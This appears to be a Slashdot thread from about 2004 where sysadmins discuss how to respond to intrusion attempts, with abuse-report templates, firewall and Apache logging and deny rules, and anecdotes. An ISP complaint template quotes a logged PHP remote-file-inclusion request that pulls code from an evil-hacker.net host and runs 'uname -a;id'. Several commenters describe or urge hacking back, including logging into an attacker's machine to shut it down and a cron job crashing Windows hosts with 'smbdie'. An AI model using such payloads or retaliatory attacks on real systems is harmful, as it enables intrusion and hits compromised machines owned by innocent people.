      The cool thing is that I'm seeing an actual reduction in viruses received from the responsive ISPs, and when they're bogged down - I've gotten my "IMPORTANT!" emails moved quickly up the queue. One particular instance with someone that was pounding our mailserver several times per minute - I got a response from the ISP within 20 minutes. :-)) (The same ISP usually responds within one business day, but they moved that particular request up the queue very, very fast :-)

      --
      "Rune Kristian Viken" - http://www.nwo.no - arca
  20. Do what Mr Burns does... by Anonymous Coward · · Score: 5, Funny

    Nothing beats the personal touch of hired goons...

  21. at some level you have to ignore it.... by cbdavis · · Score: 5, Informative

    or you'll spend half your time at work writing abuse letters. My logs at work show a constant barrage of windows attacks ( yes, code red is still there), 137 scans, numerous login hacks for any number of OS's, port scans that increment by 1 each time, etc. Sometimes it slows down. I am beginning to just consider it background noise. Just the cost of doing business on the web. As long as the probes arent massive or working, I just note and ignore. I only have so much time for this - it keeps me from downloading all that porn!

  22. Ignore it? by Inominate · · Score: 4, Informative

    This kind of stuff is all over the place. Odds are most of these are automated worms and similar crap. Unless it's really a concerted attack on your machines, as opposed to random scanning, it's not worth the effort to do anything about it except maybe firewall the IP.

  23. Why not seem like a cease and desist gnome? by astrashe · · Score: 2, Insightful

    I don't understand why you'd care how you come off to the people trying to crack into your system.

    They're out to do you harm. If one of them gets through and does some damage, you could lose your job.

    1. Re:Why not seem like a cease and desist gnome? by valdezjuan · · Score: 2, Informative

      In some (these days it may even be most) cases the machine that is doing the attacking has been compromised and hijacked by the cracker. So the 'owner' of that machine may not know that there machine is contributing to global chaos that is the internet. So you might not want to send them a note blasting them (though they are or were running a machine that wasn't patched, whatever). Sometimes machines slip through the cracks and sites with really good security policies and dedicated security people get 0wned, so being polite is generally a good policy. How would you like to get a note that insults berates, humiliates you, instead of someone saying that your machine appears to have been attacking thier machine and could you look into it. This way the person is grateful for you pointing out that there machine was compromised and is more likely to let you know what happened. At least this has been my experience.

  24. abuse@.... by keithdowsett · · Score: 2, Insightful

    Hi,

    As several posters have already stated you should complain to the abuse address for their ISP. Ideally, you should include logs of the attempt.

    You should also be aware that that the machines which are attempting to connect to your network are probably zombies. There are a number of trojans and security holes which can be exploited to allow a remote user to take over a poorly secured system. The owners probably don't even realise that their machines have been compromised.

    I'm not sure there's much an ISP can do other than try to find out which customer had been assigned that IP address at the time and write to them. Banning someone for having poor security on their machine is probably a bit harsh, even in these post-9/11 times.

    Keith.

  25. I swear I won't do it again! by teamhasnoi · · Score: 2, Funny

    Just don't tell my mom! She'll take away my Compaq, or make me install SP2!

  26. And the problem is... by Anonymous Coward · · Score: 2, Funny

    ...the attempted intrusion detection package.

    It's wasting your time.
    It makes you worry.
    It makes you ask silly questions on slashdot.

    The solution is to trash it, you don't need it, Linux is unbreakable anyway.

    1. Re:And the problem is... by Anonymous Coward · · Score: 2, Insightful

      Insightful? HAH! To the moderator I give thee: +1 Funny

  27. get an auto reporting tool by Anonymous Coward · · Score: 2, Informative

    try http://www.mynetwatchman.com/ works like a champ for me.

    the system automatically sends a warning to the isp

  28. I had someone trying to brute force ssh.. by dan+dan+the+dna+man · · Score: 4, Insightful
    From a server in Brasil yesterday. I never bother reporting these things normally, but the compromised machine (ie originating the attack) was a webserver and had some "info@" addresses. I wrote, apologising for my lack of Portuguese, and an hour later had a very grateful email from the sysadmin. This is going to encourage me to report them in future.


    Basically I just gave a quick digest of the log clearly showing their IP and the attack in progress, and a note to the effect that I believed their machine had been compromised (in as plain English as I could muster) - and got the desired result.


    I like the fact that there's some script kiddie out there cursing that one of his "boxen" is no longer.. ;)

    --
    I don't read your sig, why do you read mine?
    1. Re:I had someone trying to brute force ssh.. by Jedi+Alec · · Score: 2, Funny

      heh, sysadmins gotta stick together these days. maybe some sort of world-wide affiliation is required, "Sysadmins against kiddies"...hmm, no, that came out kinda wrong

      --

      People replying to my sig annoy me. That's why I change it all the time.
  29. Call their parents by Monkelectric · · Score: 5, Funny

    True story: About 8 years some friends and I were getting o3ned DAILY by a hacker. One of these friends had a buddy in IBM's security division, who somehow got us a name and phone # of our hacker. We felt like asses when we found out we were getting beat down by a 15 years old. But we called his dad, explained what was going on, and that we knew where he lived. Problem SOLVED :)

    --

    Religion is a gateway psychosis. -- Dave Foley

  30. I'm sorry... by schnits0r · · Score: 2, Funny

    I didn't know that I was that big of a problem to your company, I shall stop. Sorry for any inconveinience.

  31. Maybe related to this? by ComputerizedYoga · · Score: 3, Informative

    mid july or so there were a bunch of random automated-looking and weak looking ssh login attempts all over the place ....

    threads on the full disclosure mailing list archives and dslreports forums about that ....

    wonder if this is what the topic poster was encountering?

  32. don't forget logfiles & date/time by Errtu76 · · Score: 3, Informative

    Be sure though to include *all* relevant log files too. I've sent a couple of mails in the past to ISPs and i think i got a response from about 50% of the ISPs contacted, from which only one responded once by saying they contacted the individual and took appropriate actions ... whatever that may mean.

    You'd be better off configuring your security better though.

  33. My basic template to ISPs by BrynM · · Score: 4, Interesting
    Please note that this is innefectual to send to some ISPs. You won't always get a response. Look everything up first! Go look up who owns an IP at ARIN and who has registered domain names at a lot of different places. Think hard before you send unless you write something automated - You may not want to send anything to someone who is actually the kiddie that attacked you. The result of that mistake is annoying. Trust me.

    Due to abuse, the following IP address(s) have been banned from accessing
    mydomain.com and it's associated services. The abuse is detailed as
    follows:

    IP(s) Banned: 216.nnn.225.nn

    Owner:
    OrgName: SOME ISP
    Address: 2 Hacker Home Street
    City: Isabel
    StateProv: CA
    PostalCode: 01120
    Country: US
    Admin Address: noc@someisp.net

    Reason:
    Malformed URL - Attempted PHP Exploit
    "216.nnn.225.nn - - [11/Aug/2004:10:03:03 -0700] "GET
    /themes/default/theme.php?THEME_DIR=http://w ww.evil-hacker.
    net/1.jpg?&cmd=uname%20-a;id; HTTP/1.0" 400 352"

    Severity: 5

    Remaining bans until entire address block banned: 3

    If you have any questions or need further explanation, please contact
    admin@mydomain.com.

    You
    Your Title
    Your Contact Info
    --
    US Democracy:The best person for the job (among These pre-selected choices...)
  34. Just my (short) experience. A suggestion. by pasko · · Score: 2, Interesting

    Last week I managed to login as root into a machine (from a chinese domain, as usual) for which I had packets logged in my firewall's log. Then, I installed in that machine chkrootkit: lots of executables were wrong (rootkits). Then, someone logged in remotely and left in /root a "readme.txt" message warning me not to log in other's computers .... Finally I did three things: 1.- Send an e-mail to the contact-addresses retrieved from APNIC 2.- Copied my shutdown executable to that machine (the original was obviosly tricked) 3.- Remotely, executed @> shutdown -h now Just a suggestion.

  35. Firewall? by vandan · · Score: 2, Interesting

    Complaining to people won't get you anywhere, unless you go to the government and claim that you believe they are terrorists. That will get you some action.

    My advise is to firewall them.

    Personally I also try giving them a taste of their own medicine. You'd be surprised how many Windows machines are still vulnerable to the old 'smbdie'. I set up a cron job to 'smbdie' all hackers / spammers etc every 5 minutes. But of course this is horrible advise because ( and I'm sure everyone will respond and tell you that it's very naughty to fight fire with fire, and you will most likely go blind or some bullshit. )

    So yeah. Firewall them. And if you've got time, email their ISP and tell them that you've firewalled them and if you have any complaints from customers about them not being able to access your sever, that you will advise them that their ISP is harbouring hackers and that they should switch ISPs.

    1. Re:Firewall? by vandan · · Score: 5, Informative

      Yeah I know the gentleman's approach.

      I don't subscribe to it. I look at it like this:

      To drive a car, you need a licence. You have to follow rules. You drive on the correct side of the road. You don't drink and drive. You obey the speed limit. And why do we have to follow the fules? It's because there are other people who also want to use the road, and therefore all drivers have a responsibility to ensure that the safety of others is protected.

      Sounds like common sense, right? Well the same should apply to placing computers on the internet. If you want to have viruses and backdoors and worms etc running on your home PC, then fine. Whatever. But if you put your home PC on the internet and take absolutely no fucking responsibility for what you are doing then you are waiving all rights you have over the the safety of your computer. If your computer now pisses me off, I'll 'smbdie' it off the internet. If you're fine with all the rest of the shit that's infecting your PC, then you don't really have any right to complain about me rebooting it once every 5 minutes. And yes I'm doing everyone a service. Firstly, the computer is on the internet for less time than it otherwise would have been, so there's less chance of others being infected. Also, the idiot who owns the computer will be far more likely to do a complete re-install, or at least get a god-damned virus checker and get Windows up-to-date.

      Do you know how many people come bitching and complaining to me about their PC being rooted, and when I boot it up find that they're running Windows 2000 SP1 and NO virus protection at all? It's not good enough. And the only ways to get them to take responsibility for their computer are:

      a) Legislate. No-one wants legislation covering their computer. It will screw things up for the responsible among us and have no effect on the rest.

      b) Make it so unconfortable to run an unprotected computer that they get the hint and protect it.

      Having said all this, I know most people will still disagree with me. That's fine. Be angels. Just keep your damned computer secure and you've got nothing to worry about.

  36. Hack them back! by Numen · · Score: 4, Funny

    Whatever they're doing to you have a go back at them... chances are their system isn't as secure as yours.

    At the very least it's more fun than writting an e-mail!

  37. normal for this time of year by phek · · Score: 5, Funny

    It's really normal to notice a huge increase in attacks this time of year. With the passing of defcon and black hat this month, a lot of new security vunerabilities have been released, and all of the 'script kiddies' are eager to try them out. The best thing to do is make sure all your software is up to date, and get familiar with the new vunerabilities that are out so you can protect yourself.

    As far as reporting them, you could try all day and not be able to report all of them, and even if you did, they're most likely attacking from someone else's vunerable machine. The only thing you can really do is watch out for anyone who's aggressivly attacking you (i.e. one person who's running lots of attacks on you trying desperately to break into your machine at any cost), and report those ones, or if you can find a way to contact that person, tell them to stop before you report them to their isp and/or authorities, this will usually scare most people off.

    Once you do start paying some decent attention to security releases, a lot of these stupid things people try won't surprise you, like the ssh root attempt is because some tool came out recently that just scans netblocks for anyone running ssh and try's logging in as two different users with no password, root being one of them. If your not familiar with where to find security releases, here's some good places to start:

    packetstorm security
    Security Focus

  38. Somewhat offtopic, but how do people deal with DOS by bretharder · · Score: 5, Interesting

    Somewhat offtopic, but how do people deal with DOS attacks?
    I've had a person harrasing the forums at a website that I host.
    I banned by IP and then he started using proxys,
    so I had to write a script to ban his IP each time he logged in,
    of course then he started creating new accounts;
    so I had to change the forum registration to one account per unique email address.
    And then he tried to DOS the site by visiting the site and locking down his F5 key.
    (He accually confessed this to me in IRC; he had 4 other people do this with him.)
    I sent Comcast (his isp) the IRC logs & the network monitor logs.
    They sent me a generic response saying "blah blah blah.. this is an automated response".
    And thats it.
    So how do other /.ers deal with situations like this?
    It's a personal website, and I don't have the funds to hire a lawyer.
    I've banned his IP and ~6000 proxy IPs, but he still keeps getting through.

  39. Complaining may have a boomerang effect by hankwang · · Score: 5, Insightful
    Let me tell you a true story.

    Back in January 1999 when everybody used telnet for remote logins, several computers in our department were root-compromised and had a rootkit installed (password sniffer, backdoors, and patched versions of ps, ls, and such to prevent being detected). We noticed some strange activities but had no clue what was going on, thinking that other people were trying to intrude us, while actually the cracker used our computers to intrude other people. It felt a bit like being in a thriller, where we step by step discovered what was going on, culminating in a session where we witnessed live how the cracker was logged in on one computer, from which he tried logging in on a second computer where we already had changed all passwords. We contacted the internet provider (he was behind an IP-masquerading firewall) and an university where he apparently illegally had plugged in a computer on the network and of course the cracker had been reading a number of emails before we finally locked down our systems.

    Since then, our computers got enormous attention from crackers, while suspicious messages appeared much more seldomly in other people's log files. This cracker was severely pissed off. We were compromised several times after that. Once, the presence of a rootkit revealed itself through the fact that an ls option wasn't working anymore. We repaired the situation and removed telnet/ftp from the computer (they had suspicious log file mesages), not knowing that it was the outdated sshd that caused the trouble. After the weekend, the owner of the computer came to me complaining that he couldn't log in. It turned out that the intruder wiped his whole home directory, which had no recent back-up! I can not believe that a cracker does something like that for any other reason than pure revenge.

    These incidents have taught me the value of staying up-to-date. What I wanted to tell here is: don't let the cracker know that it was you who caused them trouble or you might get repercussions. Oh, and note that I am not a professional system administrator; I was a PhD student who happened to know a bit more about Linux than most others.

  40. Tactical nuke by kinema · · Score: 2, Funny

    I'm surprised nobody has suggested this before but I would recommend a tactical nuclear strike against the intruder. I've found that this simple step typically quells the attack.

    1. Re:Tactical nuke by DiscoDave_25 · · Score: 2, Funny

      George... Is that you?

  41. Ignore them or build general measures by DamonHD · · Score: 2, Insightful

    Hi,

    I ran one of the first ISPs in the UK with live IP and since we went live about 10 years ago we have endured on average maybe one attack per minute or higher all that time.

    So 10 years ago I wrote my own firewall with some traffic shaping and logging; it died recently I replaced it with a Cisco or two with more or less the same rules.

    Now, even when no longer an ISP I still have to turn away 35,000+ SPAMs per day from my network which now hosts just two people, so I wrote my own reverse SMTP proxy to deal with the problem. (The source is available in SourceForge BTW.)

    People continually attempt to steal the entire content of one of my free Web sites, and used to bring it and my connection to the Net to their knees, so I wrote a simple transparent servlet filter to detect and lock out f**kits who exhibited pathological behaviour.

    All of these tools are mainly automatic with a few general rules and a very few specific data entries to keep out especially egregious people.

    Don't play "whack-a-mole", and don't waste too much time trying to contact the idiot's ISP; even if they care, which sometimes they do, it'll end up being expensive and slow to stop.

    Rgds

    Damon

    --
    http://m.earth.org.uk/
  42. firewall - allow only certain IPs access port 22 by HTD · · Score: 2, Informative

    You said, YOU are running a server for ONE client. Who is it that needs SSH access to the machine - YOU. What i would do is limit access to port 22 to IP adresses I am going to use. Add your normal internet adresses to the list (like your ISPs IP-block, work, girlfriends isp, ...) And of course you need to add a machine that is alwas up and has no such firewall restrictions (i.e. shell access to your server at home, i know you have one ;-)). This way you can login to the server from your most common locations, and login indirectly to the server using another box as "proxy" in case you are on vacation sitting in an internet-cafe.

    i think it's also good practice to generally disallow direct root-logins in ssh-config and only allow shell users having group wheel to su to root.

  43. Re:Somewhat offtopic, but how do people deal with by Vo0k · · Score: 5, Informative

    Look up HTB on the net (Heuristic Token Bucket) - a firewall rule that limits network abuse while not obstructing normal network usage - every IP gets a pool of "tokens". One token is removed from the pool when a packet is sent, packets won't be sent as long as the pool is empty, but it gets refilled at constant, slow rate, until it's "full" again. So a user can download, say, 500K in one rapid burst at maximum network capacity, then his connection bandwidth goes down to some 5K. If he waits 100s he will be able to get 500K in similar burst again. This way, one page loads really fast. User reads the page, goes back, loads another one (minute later) very fast again. A loser who keeps reloading, exceeds his 500K bucket content in 2-3 reloads and then gets a constant drip of 5K upstream, hardly disturbing the others.

    --
    Anagram("United States of America") == "Dine out, taste a Mac, fries"
  44. Re:What intruders? - Good point! by JWSmythe · · Score: 3, Insightful


    Good advice. Just ignore that script kiddies are trying stuff. Until one of them gets a 0-day exploit, roots one of your critical machines, and wipes out all your data.

    --
    Serious? Seriousness is well above my pay grade.
  45. Remote logins? Are you insane? by smoon · · Score: 4, Informative

    Don't you use a firewall? You can't attempt to log in remotely if you're blocking the typical remote access ports -- SSH, telnet, etc.

    So you've got a machine sitting on the internet, home to a million and one active worms, and are surprised that it gets scanned constantly?

    Don't bother with the abuse reports -- more than likely it's just worm activity from computers whose clueless owners don't realize have been infected. A more recent one attempts SSH logins, which may be what you're seeing.

    It it was a _real_ crack attempt then you:
    1: Wouldn't know about it.
    2: Would be unable to pin it down. It would be bounced through several victim networks, so your ability to see where it's "coming from" is really just the last victim machine in the chain.

    Third possibility is script kiddies, in which case you would know about it and where they were coming from, but they would have no chance of success unless you are unwilling to keep up on patches and follow basic security practices like decent passwords.

    Best would be to close off remote-login ports altogether. If you need remote login then block for all but the address range you'd be coming from. If you need remote access from random locations, then at least consider using a heavily locked down system (e.g.: OpenBSD) or work _really hard_ to get your systems firewall/logging/etc. set up well.

    One OpenBSD/pf feature you might be interested in (also available from other systems) is the ability to tie Snort into the pf ruleset so that remote scanners, once detected, are ignored.

    --
    "But actually trying to use m4 as a general-purpose langage would be deeply perverse" --ESR
  46. Re:Ignoring it == raising criminals by BlackHawk-666 · · Score: 4, Interesting
    If you don't want to ignore them, but rather take some action then you can combine tripwire (IIRC) with a shell action that firewalls their IP address. I used to do this for my home machine, but it's not really recommended for business machines. Here's what I did:

    Set up tripwire to detect incomming conenctions to 139, 1433 and other ports that people shouldn't be attempting to reach.

    Any attempts to open got a IPTABLES rule added against their IP

    Every couple of weeks I'd clear it down and let it build up again

    There would be better ways to do this, but it was mainly for basic home security and I wasn't worried about blocking whole companies (because of NAT/Proxy) because of one dick in the place. YMMV.

    --
    All those moments will be lost in time, like tears in rain.
  47. This is more fun! by Ch_Omega · · Score: 4, Informative

    In my opinon, Tom Hudson's way of dealing with these critters, is far more entertaining, than just ignoring them.

    1. Re:This is more fun! by nahdude812 · · Score: 4, Informative

      A lot of these exploits are typically ancient worms that someone has managed to not clean off their computer. If it's not an ancient worm, it's probably a zomibe in someone's hoarde.

      The problem with these two (most common) scenarios that the person who owns the computer isn't the real perpetrator, and the ability to track the perp down requires much more work than a simple whois lookup of the offending IP.

      Most attacks you see are going to be automated and launched on a wide scale. There are thousands and thousands of compromised Windows machines out on the net that are being used by people such as spammers and crackers for their dirty work.

      Lock your box down.
      Don't allow root to log in on SSH.
      Lock SSH and other sensitive services down to specific IP address blocks if you can. If you can't, investigate port knocking if you can do that. If you can't even go that far, investigate implementing a lockout policy for failed login attempts.

      Unless you see a single host being the source of a large pile of offensive behavior, chances are these are machines in a zombie hoarde. If it is limited to a single IP or a few IP's in a single C class, contact the ISP's abuse department *politely* (remember these are folks like you in jobs like yours, if you go in with guns blazing, they're less likely to help) and provide as much information as you can regarding the nature of the attack. Then firewall off the offending IPs.

      I used to aggressively track intrusion attempts and spam. I had a little PHP/MySQL tool I wrote where I could log these things, dumping in offending logs (or spam source), and it'd extract the culprit IP address, and once a day go through, looking up abuse addresses on whois and mailing a digest of the day's activities for that ISP to them.

      Ultimately I probably got about a 1% response rate from the ISP's (excluding auto-responses). After ~6 months of this, and about 40,000 records in my database, I started some statistical analysis. It turns out that there were no significant outliers for abusive activity from any given ISP (considering the size of that ISP's net blocks). Basically every intrusion attempt was some kind of zombie. There were probably a few by-hand attempts, but these are typically so low profile that there's no easy way to distinguish them from the hoardes.

      Some time later I was the recipient of a DDoS attack. Someone's zombie hoarde decided to repeatedly visit a page on my website that turns out to be a bit resource intensive to generate (my code is open source, so whoever devised this probably knew that). Every day, ~25,000 IP's each requested the same page every 4 minutes (+/- a few seconds I suppose for network latency). 375,000 hits an hour = 9,000,000 bogus hits a day. Day to day this number fluctuated, and the ISP's involved in the attack kept changing. It was obvious to me that whoever was driving the attack wasn't exposing the entire zombie hoarde to me at any given point because of how the ISP's involved kept shifting around. I figured he probably had a script set up to launch X number of zombies every day, and they probably had commands to execute for ~24 hours. The number was always pretty close to 25,000, never over, but usually more than 24,500.

      Ultimately the attack lasted about a month. I figured out a simple way to distinguish the zombie computers from legitimate users based on an error in the request headers, and I could just exit() at the top of my site for those who exhibited this error. I also logged the attempts I blocked, and was left with over 900,000 distinct IP addresses once the attack finally stopped.

      My point in all of that is that there *are* zombie hoardes out there, and it's the zombie hoardes that are most likely to compromise you. There's little you can do about it because getting a single IP from a hoarde firewalled off or cleaned up won't slow down your real attacker who was going to use a different zombie the next day anyhow.

    2. Re:This is more fun! by Tassach · · Score: 3, Informative

      mod_throttle and mod_bandwidth are pretty useful if you're running Apache 1.3; unfortunately (last time I checked) they aren't working right under 2.0 yet.

      --
      Why is it that the proponents of "one nation under God" are so eager to get rid of "liberty and justice for all"?
    3. Re:This is more fun! by Tassach · · Score: 3, Interesting
      Why waste bandwidth and CPU time sending a page back to what's most likely a worm-infected machine? The default 404 response is more than adequate. His RedirectMatch hack is pretty good, but you can use the same regexps in SetEnvIf rules:
      #regexp rules to set environment variables
      SetEnvIf Request_URI "(regexp1)" ATTACK
      SetEnvIf Request_URI "(regexp2)" ATTACK
      ...

      # Anything that matches a worm/virus attack pattern goes in a special log
      CustomLog logs/attack_log common env=ATTACK

      # Everything that's not an attack goes on the normal log
      CustomLog logs/access_log common env=!ATTACK
      This puts all the zombie/worm attacks into a seperate log file. This also allows me to have logrotate truncate the attack_log and the access_log on different schedules.
      --
      Why is it that the proponents of "one nation under God" are so eager to get rid of "liberty and justice for all"?
    4. Re:This is more fun! by Tassach · · Score: 3, Interesting
      Opps... forgot the most important part:
      <Location />
      Order Allow,Deny
      Allow from all
      Deny from env=ATTACK
      ErrorDocument 403 "Worm Attack Suspected - Access Denied
      </Location>
      You could replace the errordocument with a PHP or CGI to send back a page of shame instead of static text, but why bother?
      --
      Why is it that the proponents of "one nation under God" are so eager to get rid of "liberty and justice for all"?
  48. Re:Ignoring it == raising criminals by Anonymous Coward · · Score: 5, Insightful

    Don't scan my ports!


    I fail to see how scanning ports is akin to robbery. Actually a port scan by itself is a completely legitimate activity as it simply is querying what services are available.

    Personally I am the view point that if you have a port open with a service that is easily accessible without a password, or the default password, (like NFS, say) then anybody using it is not in the wrong, as how are they to tell that the service is not intended for the public especially since it is on the PUBLIC internet.

    I mean really, unless an attacker is DoSing your site due to resource issues I don't see how you can really conclude that the actions are malicious.

    I mean some of you guys sound like the ignorant dude that setup an RSS feed and then got pissed when a service used it as intended. The difference with him is that he learned the error of his ways.

    I also fail to see how someone using the word "syber" can run any server safely.

  49. Re:Somewhat offtopic, but how do people deal with by Inda · · Score: 2, Funny

    Post the name and address here as AC.

    --
    This post contains benzene, nitrosamines, formaldehyde and hydrogen cyanide.
  50. More good advice ... by zonix · · Score: 2, Informative

    This is really good advice, but you can do more. :-)

    Most ISPs really appreciate the complete header of the mail, and sometimes even the body in case of spam. First of all it adds to the authenticity, and second they'll be able to forward your complaint to the responsible ISPs if you had too much beer while reading a spoofed header (more so for spam than virus mails). Some ISPs are quite helpful in this regard.

    To aid in identifying the correct abuse addresses I can recommend the hinfo utility as a complement to whois. Oh and if you're stuck with a standard whois, consider replacing it with the one made by Marco d'Itri - it's the default in Debian, and has the ability to guess the correct whois hosts to ask.

    z
    --
    What would an EWOULDBLOCK block, if an EWOULDBLOCK could block would? -- me
  51. Ignoring it == making the problem worse by SgtChaireBourne · · Score: 4, Interesting
    The network administrator at one site I was at reduced the number of intrusions by more than 1/3 over a 2 month periond and kept it down the whold time she kept the job.

    How? When she found out about attacks and attempted intrusions, she got on the phone with the netblock owner and gave them an earful and followed up until something happened, even if it was only a small improvement. If need be, she reported it to the police and was even able to convince them that crime was an area of their responsibility even if they did not currently have the expertise.

    The attacks dropped off rapidly after a few weeks. And since shed kept notes about who she talked with, when and about what, there was very little runaround. When she started that, it took about 45 minutes per day, but by the end it was down to around 15 on average.

    --
    Beta is broken and the link to classic doesn't work. Stop wasting our time or there won't be anybody left here.
    1. Re:Ignoring it == making the problem worse by Anonymous Coward · · Score: 5, Funny

      I swear, just like a women to take a technical problem and solving it by nagging someone's ear off

  52. Two things by Xner · · Score: 5, Informative

    1) Tripwire is a file integrity checker. I suppose you mean portsentry or similar. 2) Automatic firewalling a VERY bad idea. Remember that most modern scanning techniques do not require a full TCP connection, and are therefore eminently spoofable. Not imagine someone spoofing a syn scan from the IPs of google.com. BOOM! No more google for you, you just firewalled it off yourself. BOOM! No more slashdot. BOOM! No more quake server. You get the idea.

    --
    Pathman, Free (as in GPL) 3D Pac Man
    1. Re:Two things by 3rd_Floo · · Score: 2, Interesting

      Even better one would be for an intruder to take note of which DNS server your connecting to, then BOOM, quick spoofed scan and you cant get DNS. While your DNS is out and you are trying to get your connectiong working they slip inline on you and 'pretend' to be your DNS, now they can poison you really easily... of course, muggiling with the routing tables of a up stream switch and whatnot to pass themselves off as a DNS server, or hijacking the upstream DNS isnt always the easiest, but it would be a dirty way to slip into a large corp's systems if the security was set like such...

    2. Re:Two things by ckaminski · · Score: 2, Insightful

      I'm sorry, but how is adding an incoming port block on a firewall going to prevent using google? Serving up a quake server, maybe, but outgoing surfing and the like sure isn't going to stop him.

      And if it's IP based, there's a whole lotta IP addresses in the world... methinks he'll run out of kernel memory long before he's finished blocking them all.

    3. Re:Two things by Xner · · Score: 2, Interesting
      Who said anything about blocking a local port? If it's port SCANNING every port will be touched once or twice, and blocking local ports as they are touched is not going to have any meaningful effect. What the OP is talking about is adding a firewall route to ignore whatever comes from the address that is doing the scanning as soon as you detect it, ie. in the case of a "fast" scan, 3 or 4 ports into the thing.

      Your "there's a whole lotta IPs in the world" comment is seriously asinine as well. As I mentioned, it is trivial to spoof portscans, and while there may be a whole lotta IPs in the world, once you have accidentally firewalled off the ones belogning to your DNS or your mail server, you are going to have some serious networking issues. Running out of "kernel memory" (whatever that might be) is the last of his worries.
      Automated security response is a tricky business, and if you do not carefully consider all implication, you are goign to be worse off than you were, not better.

      Don't take my word for it. Set up your PC this way and see how long it takes before someone uses it against you.

      --
      Pathman, Free (as in GPL) 3D Pac Man
    4. Re:Two things by BlackHawk-666 · · Score: 2, Interesting

      You're right, it was portsentry. I also ran tripwire to check the integrity, but it was a while ago so my memories were fuzzy. You're wrong about the no more Slashdot and Google, the connections being firewalled were incoming, not outgoing.

      --
      All those moments will be lost in time, like tears in rain.
    5. Re:Two things by x0n · · Score: 2, Insightful

      While modern scanning techniques do not require a full TCP connection, this does not have anything to do with spoofing. If you were to perform a SYN scan with a spoofed IP, it is no longer a scan, but a standard syn-flood DOS (denial of service) attempt. You cannot directly learn open ports (e.g. portscan) while using spoofed a IP.

      But in effect what you say could happen, but it wouldn't be a portscan, but rather a malicious DOS attempt.

      - Ois

      --

      PGP KeyId: 0x08D63965
    6. Re:Two things by Xner · · Score: 2, Insightful
      Do i have to spell everything out for you guys? Here's how it works:

      1) Bad dude does SYN scan.
      2) Bad dude gets firewalled off.
      3) Bad dude performs another scan with a spoofed IP (conveniently provided as an option by the popular nmap)
      4) Good dude is in trouble

      Just say no to automatic firewalling.

      --
      Pathman, Free (as in GPL) 3D Pac Man
    7. Re:Two things by justMichael · · Score: 3, Interesting
      I'm sorry, but how is adding an incoming port block on a firewall going to prevent using google? Serving up a quake server, maybe, but outgoing surfing and the like sure isn't going to stop him.
      Blocking googls IPs isn't going to keep you from searching, but it will keep google off your site.

      Example: A competitor that just happens to rank higher than you automatically drops packets from any IP that trys an invalid login.

      You go through your logs and generate a list of all google's bots and then launch an "attack" against your competitor spoofing those IPs. You just stopped google from indexing their site. Move on to Yahoo and any other search engine you feel like.

      Granted somebody is going to be watching the logs and start to wonder why google hasn't visited in a while, but you get the point.
  53. Google's Cache of above page. by Ch_Omega · · Score: 3, Interesting

    Seems like me posting that link, has resulted in it exceeding its allowed bandwidth. Here's the Google Cache.

  54. I agree! by Mold · · Score: 5, Interesting

    Back when I was 13 or so, one of my friends had convinced me that trying something like this would be fun. I was a bit reluctant, but I had some knowledge of Unix and networking, and it did sound like fun.

    We never actually got into anything, but the next day I got an e-mail from one of the companies we had attempted to break into, politely asking me to stop. It scared the shit out of me and I never attempted anything like that again.

    And to be honest, the fact that I'd been caught and asked to stop (nicely!) impressed me far more than any of the hackers out there.

    1. Re:I agree! by LaCosaNostradamus · · Score: 3, Interesting

      This essentially sums up my shoplifting experience as a young teen. I was warned that I was seen taking an item, and that I should go back and "find" it and return it. I went to the back of the store, pulled the gum out of my pocket, and returned it to the shelf. No police, no threats ... but a firm reminder that I was as "caught" as they wanted me to be. The scare factor worked, and I never shoplifted again. Kids are kids, and the entire thing seemed wisely handled.

      --
      [You have a stable society when some nut guns down a schoolyard and the law doesn't change.]
  55. Re:Somewhat offtopic, but how do people deal with by 241comp · · Score: 2, Funny

    Preferably the job should be outsourced to a 3rd party subcontractor of foreign origin

    Ack! Now even slashdot is promoting offshoring!!! Ugh...

  56. Re:Ignoring it == raising criminals by otisg · · Score: 4, Insightful

    So if you leave the front door of your house open (by mistake or on purpose), it is okay for anyone to come in, check out what you have in the fridge, use your bathroom, etc.?

    Incidentally, this is similar to what happened to me yesterday. After hearing the noise coming from the other end of the apartment, I went to check it out and found a stranger in my bathroom. She followed some woman's directions and came to my bathroom, thinking it's a public bathroom, simply because I didn't lock my front door. I was polite, but I showed her the way out. I certainly couldn't just ignore her and let her be, could I?

    --
    Simpy
  57. Re:Ignoring it == raising criminals by Idarubicin · · Score: 5, Insightful
    I fail to see how scanning ports is akin to robbery. Actually a port scan by itself is a completely legitimate activity as it simply is querying what services are available.

    True, port scanning in and of itself is not comparable to robbery. Rather, it is like casing the joint: trying the doors to see if they're locked; testing the windows (ahem) for a good seal; checking all the security cameras to see where they're pointed, or if they're turned on at all.

    A business owner who saw someone doing that type of thing at their bricks and mortar presence might be a little suspicious. Sure, the 'port scanner' isn't doing anything illegal at the moment, but there are few applications for the information gathered that are legitimate. Most businesses (on- and offline) don't have much use or sympathy for freelance 'security consultants' providing convenient and unsolicited 'security audits' for them.

    The individuals attempting to login as root are admittedly being decidedly unsubtle, and are probably relatively harmless due to their lack of skill. On the other hand, if there was a mentally deficient individual wandering the neighbourhood trying to pull open front doors on random homes...wouldn't you want someone to at least keep an eye on him, even if you did keep your own door locked?

    I mean really, unless an attacker is DoSing your site due to resource issues I don't see how you can really conclude that the actions are malicious.

    What conclusions, pray, should be drawn from multiple attempts to gain root access to someone else's boxen? The original poster also specifically asked for an appropriate message to send that didn't sound like a corporate cease & desist--he just wants a 'kid, stop rattling my doorknob' message, to make the point that the 'investigator' has crossed from your 'public' internet on to a decidedly 'private' server.

    --
    ~Idarubicin
  58. Re:Ignoring it == raising criminals by Anonymous Coward · · Score: 5, Funny

    You fool! You had a strange woman just walk in and use your bathroom, and you let her get away? Arrrgg!

  59. Easy, really by KlausBreuer · · Score: 4, Funny

    The online cartoons - once again - show us how the world works. Here you can find the difference between Hollywoods form of dealing with intruders, and The Real Worlds:

    Bigger Than Cheese
    --
    Free PC version of ChipWits at http://www.breueronline.de/klaus/chipwits/
  60. Human responses to intrusion don't scale by Morgaine · · Score: 2, Informative

    When she found out about attacks and attempted intrusions, she got on the phone with the netblock owner and gave them an earful and followed up until something happened, even if it was only a small improvement. If need be, she reported it to the police and was even able to convince them that crime was an area of their responsibility even if they did not currently have the expertise.

    The problem with your suggestion is that human response doesn't scale. At her average low of 15 mins per day dealing with the problem manually or socially, the rate of intrusions only has to increase 32-fold before it takes up an entire 8-hour normal working day. How many thousands of network admins are you going to hire to handle a DDoS attack from 100K sources? There is no limit to the number of owned Windows boxes out there.

